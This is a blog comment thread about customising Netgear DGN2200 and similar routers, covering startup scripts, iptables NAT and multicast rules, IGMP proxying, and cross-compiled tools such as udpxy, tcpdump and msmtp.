<blockquote>
<p>Following Michele’s comment I can confirm that the rcS method doesn’t work anymore even on my DGN on the latest firmware V1.1.00.23_1.00.23. It looks any appended custom config isn’t executed anymore despite it’s clearly both in /usr/etc/rcS and /etc/rcS as a consequence.<br>
Any ideas?</p>
</blockquote>
<ul>
<li><strong>Roberto Fasiani on 2013-12-23 18:33:33 +0100</strong></li>
</ul>
<blockquote>
<p>I have possibly found a way to get round the issue with the latest firmware preventing from excuting any script appended to rcS.<br>
Apparently rcS execution is stopped at some stage by a call to rc_apps, maybe when calling rc_init or “rc start”. I added a call to my script</p>
<p>/etc/rc.mystartup &amp;</p>
<p>before the following three lines in rcS</p>
<p>/usr/sbin/rc_app/rc_init<br>
/usr/sbin/ft_tool<br>
#/usr/sbin/scfgmgr</p>
<p>in my script I called “/bin/sleep 60” before my custom lines</p>
<p>Basically the script is launched before rcS kills itself leaving the dirty job to rc_apps, but it sleeps until all the initialization has been done by rc_apps<br>
When rebooting, after a while, my script is nicely executed.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-12-29 10:31:51 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico</p>
<p>Can you help in compiling USB_ModeSwitch for DGN2200? My R&amp;D on enabling 3G dongle support is still on and I am looking for an option which can switch the dongle mode from CDROM to Modem.</p>
<p>Thanks in advance.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2014-01-01 18:27:00 +0100</strong></li>
</ul>
<blockquote>
<p>I found out a dongle which works without any USB switching on the router. I am successful in establishing PPP connection to the ISP as well. Currently stuck with iptables. I am able to ping servers on the internet and local LAN from the router but unable to ping/browse from Local LAN. Tried to replicate the same ppp interface name but not successful. There is a new device “nas1” dynamically created during the PPPoE session over ADSL. Not sure if that is causing the problem though. Anyone can help me or point me in the right direction?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-01-05 08:44:15 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
If it’s working from the router and not from the local LAN then most probably the NAT rules are not set up or correct. When you “copied” the iptables rules did you also check out the NAT rules? You have to put a “-t nat” in the command line, so for example:<br>
<code>iptables -L</code><br>
gives you all the rules in the filter table while<br>
<code>iptables -t nat -L</code><br>
gives you the nat table entries. Check out that you “mirror” also that rules.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-01-05 08:45:47 +0100</strong></li>
</ul>
<blockquote>
<p>Roberto: many thanks for the solution and the update, great work! I’m using the “old” (actually totally personalized) setup so didn’t come across this trouble, but your solution and post is very precious!</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-06 10:02:08 +0100</strong></li>
</ul>
<blockquote>
<p>Could anybody compile the igmp proxy code for DGN2200v3 ?<br>
This software is useful for IPTV enabling …<br>
Source code is in http : / / sourceforge.net / projects / igmpproxy /</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-06 15:27:59 +0100</strong></li>
</ul>
<blockquote>
<p>… or alternatively please compile udpxy …</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-06 16:28:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello anthonyno,<br>
Here comes igmpproxy, you will find the version 0.1 tarball with the compiled version inside (in src):<br>
<a href="http://www.evolware.org/dnload/dgn2200n/igmpproxy-dgn2200.tar.gz" rel="nofollow">igmproxy-dgn2200.tar.gz</a></p>
<p>I just checked that it starts and does something, let me know if it does its job correctly!</p>
<p>Ciao,<br>
Federico</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-06 16:31:07 +0100</strong></li>
</ul>
<blockquote>
<p>Great</p>
<p>Thanks</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-06 16:34:01 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao,<br>
And here comes <a href="http://www.evolware.org/dnload/dgn2200n/udpxy-1.0.23-9-dgn2200.tar.gz" rel="nofollow">udpxy-1.0.23-9</a></p>
<p>If you test it please leave a note if all works fine!</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-08 11:46:23 +0100</strong></li>
</ul>
<blockquote>
<p>Server starts correctly:<br>
<code>&lt;br /&gt; 1970-01-01 00:06:01.736491 GMT  S(7733) udpxy 1.0-23.9 (prod) standard [Linux 2.&lt;br /&gt; 6.30 mips]: udpxy -p 4022 -a group1 -m ppp1 -v -l /tmp/udpxy.log&lt;br /&gt; 1970-01-01 00:06:01.737273 GMT  S(7733) Server is starting up, max clients = [3]&lt;br /&gt; 1970-01-01 00:06:01.737865 GMT  S(7733) Setting up listener for [192.168.0.1:4022]&lt;br /&gt; 1970-01-01 00:06:01.738491 GMT  S(7733) Setting low watermark for server socket [6] to [10]&lt;br /&gt; 1970-01-01 00:06:01.738902 GMT  S(7733) Created server socket=[6], backlog=[16]&lt;br /&gt; 1970-01-01 00:06:01.739368 GMT  S(7733) Entering server loop [pselect(2)]&lt;br /&gt; 1970-01-01 00:06:01.739650 GMT  S(7733) Waiting for input from [2] fd's, NO timeout&lt;br /&gt; 1970-01-01 00:08:03.017800 GMT  S(7733) No children exited since last check&lt;br /&gt; 1970-01-01 00:08:03.018263 GMT  S(7733) Got 1 requests&lt;br /&gt; 1970-01-01 00:08:03.018573 GMT  S(7733) Accepting new connection&lt;br /&gt; </code><br>
I have also allowed udp traffic acceptance: ( no IGMP changes because it seems it’s already enabled )<br>
`<br /></p>
<h1 id="iptables--l-inputbr-">iptables -L INPUT<br /></h1>
<p>Chain INPUT (policy DROP)<br />
target     prot opt source               destination<br />
ACCEPT     udp  &ndash;  anywhere             anywhere<br />
INPUT_VPN  all  &ndash;  anywhere             anywhere<br />
IGMP_INPUT  all  &ndash;  anywhere             anywhere<br />
ACCEPT_RULES  all  &ndash;  anywhere             anywhere<br />
DOS_DETECT  all  &ndash;  anywhere             anywhere<br />
LOCAL      all  &ndash;  anywhere             anywhere<br />
USB_FILTER  all  &ndash;  anywhere             anywhere<br />
REMOTE_FILTER  all  &ndash;  anywhere             anywhere<br />
ACCEPT     udp  &ndash;  anywhere             anywhere<br />
<code>  But no way to get udp multicast traffic correctly working &amp;#8230;.  </code><br />
1970-01-01 03:36:07.801750 GMT  c(22100)        Relaying traffic from socket<a href="http://www.gnu.org/software/gzip/">2</a><br />
to socket<a href="http://nc110.sourceforge.net/">7</a>, buffer size=[2048], Rmsgs=<a href="http://www.gnu.org/software/tar/">1</a>, pauses=[0]<br />
1970-01-01 03:37:07.802109 GMT  c(22100)        read_buf: socket time-out on rea<br />
d1970-01-01 03:37:07.802466 GMT c(22100)        read_data - EOF<br />
1970-01-01 03:37:07.802729 GMT  c(22100)        Exited relay loop: received=[-1], sent=[0], quit=[0]<br />
1970-01-01 03:37:07.803661 GMT  c(22100)        multicast-group [DROP]<br />
`<br>
Any suggestion is welcome !!!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-09 08:38:05 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao!<br>
Be aware also of the PRE_CNAPT chain in the firewall that may be creating the problems, check the SSH port opening example in the article.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-09 18:54:36 +0100</strong></li>
</ul>
<blockquote>
<p>Unfortunately there’s no PRE_CNAPT chain (maybe another name ?)<br>
My original ‘iptables -L’ command output follows:<br>
``<br />
Chain INPUT (policy DROP)<br />
target     prot opt source               destination<br />
INPUT_VPN  all  &ndash;  anywhere             anywhere<br />
IGMP_INPUT  all  &ndash;  anywhere             anywhere<br />
ACCEPT_RULES  all  &ndash;  anywhere             anywhere<br />
DOS_DETECT  all  &ndash;  anywhere             anywhere<br />
LOCAL      all  &ndash;  anywhere             anywhere<br />
USB_FILTER  all  &ndash;  anywhere             anywhere<br />
REMOTE_FILTER  all  &ndash;  anywhere             anywhere</p></p>
<p>Chain FORWARD (policy DROP)<br />
target     prot opt source               destination<br />
TCPMSS     tcp  --  anywhere             anywhere            tcp flags:SYN,RST/S<br />
YN TCPMSS clamp to PMTU<br />
HTTP_DETECT  all  --  anywhere             anywhere<br />
OUTBOUND_FILTER  all  --  anywhere             anywhere<br />
FWD_SPI    all  --  anywhere             anywhere<br />
FWD_VPN    all  --  anywhere             anywhere<br />
FWD_IGMP   all  --  anywhere             anywhere<br />
NAT_LIMIT  all  --  anywhere             anywhere<br />
PT_FILTER  all  --  anywhere             anywhere<br />
ACCEPT_RULES  all  --  anywhere             anywhere<br />
DOS_DETECT  all  --  anywhere             anywhere<br />
MINIUPNPD  all  --  anywhere             anywhere<br />
INBOUND_FILTER  all  --  anywhere             anywhere<br />
DMZ_FILTER  all  --  anywhere             anywhere<br />
FIREWALL_DISABLE  all  --  anywhere             anywhere</p>
<p>Chain OUTPUT (policy ACCEPT)<br />
target     prot opt source               destination<br />
IM_FILTER  all  --  anywhere             UNKNOWN-216-155-193-X.yahoo.com/24</p>
<p>Chain ACCEPT_RULES (2 references)<br />
target     prot opt source               destination<br />
ACCEPT     all  --  anywhere             anywhere<br />
ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTAB<br />
LISHED<br />
ACCEPT     all  --  anywhere             anywhere            mark match 0x2511<br />
ACCEPT     all  --  anywhere             anywhere</p>
<p>Chain BLOCK_HTTP (0 references)<br />
target     prot opt source               destination<br />
REJECT     all  --  anywhere             anywhere            reject-with http-bl<br />
ock</p>
<p>Chain DMZ_FILTER (1 references)<br />
target     prot opt source               destination</p>
<p>Chain DOS (1 references)<br />
target     prot opt source               destination<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN,RST,PSH,ACK,URG/FIN,PSH,URG DLOG UNKNOWN level 19 prefix `Xmas Tree Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN,RST,PSH,ACK,URG/FIN,PSH,URG<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN,RST,PSH,ACK,URG/FIN DLOG UNKNOWN level 19 prefix `FIN Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN,RST,PSH,ACK,URG/FIN<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN,RST,PSH,ACK,URG/NONE DLOG UNKNOWN level 19 prefix `NULLScan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN,RST,PSH,ACK,URG/NONE<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:ACK/ACK DLOG UNKNOWN level 19 prefix `ACK Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:ACK/ACK<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN,RST,PSH,ACK,URG/RST DLOG UNKNOWN level 19 prefix `RST Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN,RST,PSH,ACK,URG/RST<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN,RST,PSH,ACK,URG/SYN,RST DLOG UNKNOWN level 19 prefix `SYN/RST Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN,RST,PSH,ACK,URG/SYN,RST<br />
DLOG       tcp  --  anywhere             anywhere            limit: avg 3/min burst 1 tcp flags:FIN,SYN/FIN,SYN DLOG UNKNOWN level 19 prefix `IMAP Scan'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:FIN,SYN/FIN,SYN<br />
DLOG       tcp  --  anywhere             anywhere            tcp flags:URG/URG DLOG UNKNOWN level 19 prefix `WinNuke Attack'<br />
DROP       tcp  --  anywhere             anywhere            tcp flags:URG/URG</p>
<p>Chain DOS_DETECT (2 references)<br />
target     prot opt source               destination<br />
DOS        all  --  anywhere             anywhere</p>
<p>Chain FIREWALL_DISABLE (1 references)<br />
target     prot opt source               destination</p>
<p>Chain FWD_IGMP (1 references)<br />
target     prot opt source               destination<br />
ACCEPT     all  --  anywhere             base-address.mcast.net/3</p>
<p>Chain FWD_SPI (1 references)<br />
target     prot opt source               destination<br />
DROP       icmp --  anywhere             anywhere            icmp port-unreachab<br />
le<br />
SKIPLOG    udp  --  anywhere             anywhere            udp spt:19 dpt:7<br />
SKIPLOG    udp  --  anywhere             anywhere            udp spt:7 dpt:19<br />
SKIPLOG    tcp  --  anywhere             anywhere            tcp spt:19 dpt:7<br />
SKIPLOG    tcp  --  anywhere             anywhere            tcp spt:7 dpt:19</p>
<p>Chain FWD_VPN (1 references)<br />
target     prot opt source               destination</p>
<p>Chain HTTP (1 references)<br />
target     prot opt source               destination<br />
RETURN     all  --  anywhere             anywhere<br />
KEY_BLOCK_HTTP  all  --  anywhere             anywhere<br />
IM_FILTER  all  --  anywhere             anywhere            STRING match "gateway.messenger.hotmail.com" ALGO name bm TO 65535 ICASE<br />
IM_FILTER  all  --  anywhere             anywhere            STRING match "YMSG" ALGO name bm TO 65535 ICASE</p>
<p>Chain HTTP_DETECT (1 references)<br />
target     prot opt source               destination<br />
SKIPLOG    tcp  --  anywhere             anywhere            tcp dpt:80<br />
HTTP       tcp  --  anywhere             anywhere            tcp dpt:80</p>
<p>Chain IGMP_INPUT (1 references)<br />
target     prot opt source               destination<br />
ACCEPT     2    --  anywhere             base-address.mcast.net/3</p>
<p>Chain IM_FILTER (3 references)<br />
target     prot opt source               destination</p>
<p>Chain INBOUND_FILTER (1 references)<br />
target     prot opt source               destination</p>
<p>Chain INPUT_VPN (1 references)<br />
target     prot opt source               destination</p>
<p>Chain KEY_BLOCK_HTTP (1 references)<br />
target     prot opt source               destination</p>
<p>Chain LOCAL (1 references)<br />
target     prot opt source               destination<br />
RESPONSE_PING  icmp --  anywhere             anywhere<br />
LOCAL_RIP  all  --  anywhere             anywhere<br />
LOCAL_TELNET  all  --  anywhere             anywhere<br />
ACCEPT     udp  --  anywhere             anywhere            udp spt:67 dpt:68</p>
<p>Chain LOCAL_RIP (1 references)<br />
target     prot opt source               destination</p>
<p>Chain LOCAL_TELNET (1 references)<br />
target     prot opt source               destination<br />
ACCEPT     tcp  --  anywhere             www.routerlogin.com tcp dpt:23</p>
<p>Chain MINIUPNPD (1 references)<br />
target     prot opt source               destination<br />
ACCEPT     tcp  --  anywhere             192.168.0.101       tcp dpt:6891</p>
<p>Chain NAT_LIMIT (1 references)<br />
target     prot opt source               destination<br />
NATLIMIT   all  --  anywhere             anywhere            lan:192.168.0.1/24</p>
<p>Chain OUTBOUND_FILTER (1 references)<br />
target     prot opt source               destination</p>
<p>Chain PT_FILTER (1 references)<br />
target     prot opt source               destination</p>
<p>Chain REMOTE_FILTER (1 references)<br />
target     prot opt source               destination</p>
<p>Chain RESPONSE_PING (1 references)<br />
target     prot opt source               destination</p>
<p>Chain SCAN (0 references)<br />
target     prot opt source               destination</p>
<p>Chain USB_FILTER (1 references)<br />
target     prot opt source               destination<br />
``
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-09 19:42:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
Add a “-t nat” to the command line since that chain is in the “nat” table. So “iptables -L -t nat” to see all and so on.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-10 22:19:29 +0100</strong></li>
</ul>
<blockquote>
<p>No udp traffic enabled after<br>
<code>&lt;br /&gt; iptables -A INPUT -p udp -j ACCEPT&lt;br /&gt; iptables -t nat -F PRE_CNAPT&lt;br /&gt; </code><br>
🙁</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-11 09:58:23 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,<br>
I took my time to do a test 🙂 So I put on the DGN2200 netcat in listen mode on UDP port 4444:<br>
<code># ./nc -u -l -p 4444&lt;br /&gt; </code><br>
Then I tried from an outside host to send some stuff to it with (x.y.z.z is my router IP):<br>
<code>nc -u x.y.z.z 4444&lt;br /&gt; </code><br>
And of course it wasn’t working. Then I did as suggested on the router command line:<br>
<code>&lt;br /&gt; iptables -A INPUT -p udp -s 0/0 -d 0/0 --dport 4444 -j ACCEPT&lt;br /&gt; iptables -t nat -I PRE_CNAPT 1 -p udp -s 0/0 -d 0/0 --dport 4444 -j ACCEPT&lt;br /&gt; </code><br>
So both add in the INPUT chain and also insert in the head (that is important) of the PRE_CNAPT and then the test worked, I could see packets coming in over the UDP port 4444.</p>
<p>Of course in your case you can change port 4444 to the one(s) you need and it should work. The setup was tested on the standard iptables configuration on the router.</p>
<p>Hope it helps,</p>
<p>Ciao,<br>
Federico</p>
</blockquote>
<ul>
<li><strong>hudin on 2014-02-11 18:47:57 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,</p>
<p>Looks like a great post, i like how you could tweak your routers. I found this post on my search for tweaking my netgear DVG1000 router. Since my internet provider won’t prvide me with the voip credentials, i have to live with this router. Nevertheless i have access to telnet and want to modify the router for my own needs. Since the router has the same broacom cpu model i hoped, i could use your binaries on my router, too (not sure about the uclibc version). But already the the gzip binary outputs an error unresolved symbol ‘__cxa_atexit’. Is it possible to make your binaries working on my router (i am interested in openVPN and tcpdump)? Is there any way i could go around cross compiling it for myself (never worked with cross-compiling, try to avoid it since i am not a pro)?</p>
<p>Cheers and hope you can help me somehow</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-11 20:48:58 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>I’m pretty sure last iptables commands you gave me correctly allow upd multicast traffic, I tried them without results, so I think igmp traffic is not allowed as I thought.<br>
I tried also to add the standard command for igmp<br>
<code>&lt;br /&gt; iptables -I INPUT -p igmp -j ACCEPT&lt;br /&gt; </code><br>
Unfortunately no success…</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2014-02-11 20:50:30 +0100</strong></li>
</ul>
<blockquote>
<p>Real command I gave is<br>
iptables -I INPUT -p 2 -j ACCEPT<br>
because igmp is not recognized…</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-12 06:49:52 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
I gave a look at the DVG1000 and it’s quite simillar to the DGN2200 but probably given the error there is a slightly different toolchain/library used in it. I checked out on <a href="http://kb.netgear.com/app/answers/detail/a_id/2649" rel="nofollow">Netgear Open Source Code page</a> and indeed find different versions for your router.<br>
First of all which one is your specific router? I can eventually try to get one of them and prepare a bunch of interesting packets also for all other DVG1000 routers in case when I have a bit of time if you can then test them 🙂<br>
Otherwise we could give a try to use statically linked binaries that may probably work aswell: i just compiled a static version of gzip here (<a href="http://www.evolware.org/dnload/dgn2200n/gzip.static" rel="nofollow">gzip.static</a>) try to see if that seem to work on your system. Of course using all static version would prove quite more space consuming if we have many tools to crosscompile.</p>
<p>Let me know!</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>hudin on 2014-02-13 13:16:36 +0100</strong></li>
</ul>
<blockquote>
<p>Hi<br>
I appreciate your effort in helping me. My router is the DVG1000-1WGSWS, the firmware version on my router is V1.1.00.13. I found this  <a href="http://www.findthatzip-file.com/search-44733512-fZIP/winrar-winzip-download-DVG1000-V1.1.00.12-with-toolchains-src.tar.bz2.zip.htm" rel="nofollow">here</a> which one might use as toolchain but i couldn’t set it up working yet.<br>
Else if you could prepare some packets i would gladly test them. i will also try to check the static gzip packet whem i’m back at home.<br>
Cheers</p>
</blockquote>
<ul>
<li><strong>hudin on 2014-02-13 20:15:48 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the static version of gzip. This version works no on the router. I downloaded the openVPN and the tcpdump to check. Interestingly, the openVPN packet seems to work (just checked if it starts, haven’t tried to connect to the router yet), but the tcpdump has the same problem as with the gzip before unresolved symbol ‘__cxa_atexit’</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-14 06:39:23 +0100</strong></li>
</ul>
<blockquote>
<p>Great the static version is working. I’ll prepare also a static version of tcpdump later on then and post it here.<br>
As for OpenVPN: in the package I also had to include the <em>tun.ko</em> kernel module for it to work properly. If the tun device is not already compiled in the kernel then it may be needed to add it. In case give it a try (check also that you have to create the /dev/tun device as in the instructions in the article)</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-14 06:43:49 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
I’m sorry it still doesn’t work. It’s strange now I checked a bit more out the issue and I see that also on the Web interface there is a IGMP proxy setting (actually <em>Disable IGMP Proxying</em> in the <em>Advanced -&gt; WAN Setup</em>) so I suppose the router was already meant to to IGMP proxying. Did you try to play maybe with this option aswell? (for example disable it when you’re trying the other software I compiled for you) Also if you check the process on the router there is a <em>sc_igmp</em> that may interfeer with your tests.</p>
<p>In case if possible let me know your test case for this IGMP tests (so how do you try to see if it works in practice) so I can try to reproduce eventually on my side.</p>
<p>ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-16 13:19:45 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
Here comes tcpdump statically linked: <a href="http://www.evolware.org/dnload/dgn2200n/tcpdump-dgn2200-bin-static.tar.gz" rel="nofollow">tcpdump-dgn2200-bin-static.tar.gz</a></p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>hudin on 2014-02-18 10:41:42 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,</p>
<p>thanks a lot. The static version is working for the DVG1000. (Note that the link in your reply is pointing to the non static version, you might change this later). Hope this will also help other people working with this router.</p>
<p>Cheers!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-18 10:45:43 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the correction, it was because of copy&amp;paste 🙂 Fixed now!</p>
<p>Glad it works, keep up the customization of the router 😉</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Gianluca on 2014-03-26 04:07:24 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,<br>
do you know how can I disconnect a connected device?<br>
wl have a hudge list of commands and I can’t figure it out 😛</p>
</blockquote>
<ul>
<li><strong>Neil on 2014-05-16 10:09:22 +0100</strong></li>
</ul>
<blockquote>
<p>I’ve put together a small page describing how I implemented traffic shaping (TCP/ACK prioritisation etc.), network optimisations and basic SNMP monitoring on a Netgear DGND4000 router with additional custom iptables kernel modules (xt_CLASSIFY.ko, xt_hashlimit.ko and xt_length.ko).</p>
<p><a href="http://nmacleod.com/public/netgear_bin/notes/index.html" rel="nofollow ugc"><a href="http://nmacleod.com/public/netgear_bin/notes/index.html">http://nmacleod.com/public/netgear_bin/notes/index.html</a></a></p>
<p>Hope someone finds it useful.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-05-18 07:07:55 +0100</strong></li>
</ul>
<blockquote>
<p>Great work, thanks for the link!</p>
</blockquote>
<ul>
<li><strong>stefanot on 2014-06-08 13:56:36 +0100</strong></li>
</ul>
<blockquote>
<p>hi.<br>
you are a dream!<br>
I’ve tried to find all over somebody that copied and shared your method, without any result.<br>
before to trought my 2200vs away…<br>
could you explain to a newbe better how to do it?<br>
how I have to create the files and where I have to put my account/password that I have created at dnsdynamic<br>
thank you very much</p>
</blockquote>
<ul>
<li><strong>Alessandro on 2014-06-17 12:31:41 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico!</p>
<p>Is it possible to implement the 2200M functionality (3g dongle support) on V3?<br>
It should be quite easy since that both firmware are opensource….</p>
</blockquote>
<ul>
<li><strong>Steve on 2014-08-06 12:50:28 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,<br>
First – thanks for all the work you’ve done on this modem. REALLY useful. Now the second – further back in the article, you mentioned that you may be compiling a mail utility that would work in SSL. Any progress with this? The reason I ask is that I’ve been using the mail forwarding of logs to my PC, but my ISP has just changed their SMTP server – and now require SSL/TLS encryption for the login process – so now I can’t get any emails out from the modem.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-08-14 07:17:19 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Steve!<br>
Sorry for the delay but I’m in a busy period (relocating and so on).</p>
<p>Here come msmtps 1.4.30 (<a href="http://msmtp.sourceforge.net/" rel="nofollow ugc"><a href="http://msmtp.sourceforge.net/">http://msmtp.sourceforge.net/</a></a>) I compiled some time ago but forgot to pack. Download the pack here: <a href="http://www.evolware.org/dnload/dgn2200n/msmtp-1.4.30-dgn2200.tar.gz" rel="nofollow">msmtp-1.4.30-dgn2200.tar.gz</a>. Inside there are also some libraries that are needed, so either put them in /usr/lib or force the library path from command line, for example:</p>
<p>LD_LIBRARY_PATH=. ./msmtp –help</p>
<p>Will work if you have everything in the same directory. I tested it with gmail so it should work hopefully for you too:)</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-08-14 07:21:50 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Alessandro!<br>
Yes it should be possibile. You’d need to add eventually the drivers for the specific dongle (here depends all on the model you use) and then tweak just a bit the scripts to bring up the connection (just ppp) and firewall. Definitely possibile I’d say, but depends on the dongle (and having it available to test under your hands) and a bit of scripting to tweak.</p>
<p>Ciao,</p>
</blockquote>
<ul>
<li><strong>Daniele on 2014-08-27 22:33:43 +0100</strong></li>
</ul>
<blockquote>
<p>Hi federico thank you for all your work. At home i have the netgear dgn 2200 v3 and i’m trying to make it <a href="http://wiki.wireshark.org/WakeOnLAN" rel="nofollow">“wake on lan”</a> my home pc . I can wake it up from another pc in the same lan. But i’m trying to find a way to do it directly from the router. You compiled nc which is cool bu unfortunately there is a known and old bug that make udp broadcast impossible. Can you please point me to the correct toolchain to crosscompile socat which work perfectly? In fact i just need to broadcast a udp packet.</p>
</blockquote>
<ul>
<li><strong>Light on 2014-11-15 03:35:36 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Fedrico,</p>
<p>Thank you for the wonderful work, I had almost given up on this modem till I found your site!!</p>
<p>Hey, any chance you can provide an updated openVPN package? I was wondering with all the SSL vulnerabilities recently, it may be a good idea to install the latest one…</p>
<p>Thanks Again!</p>
</blockquote>
<ul>
<li><strong>Steve on 2015-02-13 09:43:26 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico, is it still possible to ask questions on this blog?</p>
<p>If so, for the DGN2200 is it possible to change the IPTABLE rules to force the Google Safe Search VIP. If possible could you define the steps for me please?</p>
<p>Thank you.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2015-02-14 08:39:01 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,<br>
Sure it’s till possible to ask! Just due to spam the comments have to be first approved and it may take some time 🙂</p>
<p>This being said: yes it should be possible as on a “normal” Linux box and so on. I don’t have a DGN2200 currently under my hands at the moment (relocation is a bad beast!) but I’d suggest you to try something like refeered in this thread:</p>
<p><a href="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=175005&#038;sid=f23d2a827d3bb90ef17c9e24d1e3e9df" rel="nofollow ugc"><a href="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=175005&sid=f23d2a827d3bb90ef17c9e24d1e3e9df">http://www.dd-wrt.com/phpBB2/viewtopic.php?t=175005&sid=f23d2a827d3bb90ef17c9e24d1e3e9df</a></a></p>
<p>or even check the TOR article for DGN2200 (here <a href="http://www.evolware.org/?p=224" rel="ugc"><a href="http://www.evolware.org/?p=224">http://www.evolware.org/?p=224</a></a>) and you could just add the specific google addresses to the iptables rule.</p>
<p>Should it not work in case let me know and I’ll try to come back!</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Steve on 2015-02-18 17:40:31 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks Frederico. I will check out those links.</p>
</blockquote>
<ul>
<li><strong>Tzimon on 2015-03-09 23:22:12 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,</p>
<p>I checked my DGN2200M (last publicly available firmware) and it appears that the filesystem is mounted through squashfs (so it seems that it can’t be re-mounted as rw). Is there any hope to let it just execute some script at start-up?</p>
<p>Thank you!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2015-03-12 20:18:57 +0100</strong></li>
</ul>
<blockquote>
<p>Hi!<br>
squashfs is indeed read-only so cannot be remounted. you could download it, modify and reflash, but is quite quite risky. are you sure there isn’t any even small partition that is writeable (for config data and so on)?</p>
<p>Ciao!<br>
f.</p>
</blockquote>
<ul>
<li><strong>Valentino on 2015-04-28 23:31:03 +0100</strong></li>
</ul>
<blockquote>
<p>Hi</p>
<p>Is there a way to configure L2TP vpn as i need this to configure a static address from my ISP</p>
<p>Thank you</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2015-05-01 07:51:10 +0100</strong></li>
</ul>
<blockquote>
<p>Hi!<br>
In principle it may be possible, but you have to compile the L2TP client at least yourself. It may need also some kernel module compilation likely (depends on the L2TP implementation you’d be using). So it should be possible, but not probably so straight forward.</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Dean on 2015-05-06 10:33:15 +0100</strong></li>
</ul>
<blockquote>
<p>Hi federico,</p>
<p>Love the blog, I’ve refered to it many times and its been very handy.<br>
Is it possible to run an irc bouncer on the dgn2200v3? Something like znc or bip?<br>
Or any other way to have a persistent irc connection? Could weechat run on this modem?</p>
<p>Thanks for any help/advice you can give.<br>
Dean</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2015-05-10 08:50:35 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Dean!<br>
I tried to compile znc 1.6 but that needs c++ which is not in the toolchain, so it would take some time to compile.<br>
